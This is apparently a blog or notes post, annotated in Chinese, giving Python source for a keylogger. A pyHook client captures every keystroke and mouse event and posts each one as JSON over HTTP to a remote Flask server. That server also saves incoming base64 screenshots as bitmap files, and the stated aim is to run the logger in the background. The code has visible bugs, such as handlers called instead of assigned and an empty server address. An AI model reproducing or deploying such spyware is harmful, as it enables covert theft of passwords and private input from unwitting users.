- 截获键盘与鼠标操作
- 截获信息后,转换为JSON格式,通过HTTP发送到服务器
- 后台运行Python脚本
# flask_client_json.py
from http.client import HTTPConnection
import json
def http_post_json(ip,dict_data,port=6666):
c = HTTPConnection(ip, port=port)
# 创建并写入HTTP头部数据
headers = {}
headers['Content-Type'] = 'application/json'
# 写入HTTP Body部分的JSON数据
post_json_data = json.dumps(dict_data).encode('utf-8')
# 发起HTTP连接
c.request('POST', '/server_json', body=post_json_data, headers=headers)
if __name__ == '__main__':
json_data = {'from': "akiflw", "to": "fjlakdj", "amount": 3}
http_post_json('192.168.1.2', json_data)
# 客户端
import pythoncom, pyHook
from flask_client_json import http_post_json
def OnKeyboardEvent(event):
dict_key = {}
dict_key['MessageType'] = 'KeyboardEvent'
dict_key['MessageName'] = event.MessageName
dict_key['Time'] = event.Time
dict_key['Key'] = event.Key
http_post_json('', dict_key)
return True
def OnMouseEvent(event):
dict_key = {}
dict_key['MessageType'] = 'MouseEvent'
dict_key['MessageName'] = event.MessageName
dict_key['Time'] = event.Time
dict_key['Position'] = event.Position
dict_key['Wheel'] = event.Wheel
http_post_json('', dict_key)
return True
def key_mouse_logger():
# create a hook manager
hm = pyHook.HookManager()
# watch for all keyboard events
hm.KeyDown = OnKeyboardEvent()
# set the hook
hm.HookKeyboard()
# watch for all mouse events
hm.MouseAll = OnMouseEvent()
# set the hook
hm.HookMouse()
# wait forever
pythoncom.PumpMessages()
if __name__ == '__main__':
key_mouse_logger()
# 服务端
from flask import Flask
from flask import request
import base64
import json
from datetime import datetime
node = Flask(__name__)
def b64_img(b64):
b4code = bytes(b64, 'utf8')
img = base64.b64decode(b4code)
return img
@node.route('/server_json', methods=['POST'])
def transaction():
if request.method == 'POST':
# 获取POST请求中的数据
json_data = request.get_json()
if json_data['MessageType'] == 'ImageEvent':
filename = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + ".bmp"
recv_image = open(filename, 'wb')
recv_image.write(b64_img(json_data['Image64']))
recv_image.close()
else:
print(json_data)
return 'got data!'
if __name__ == '__main__':
node.run(host='0.0.0.0', port=6666)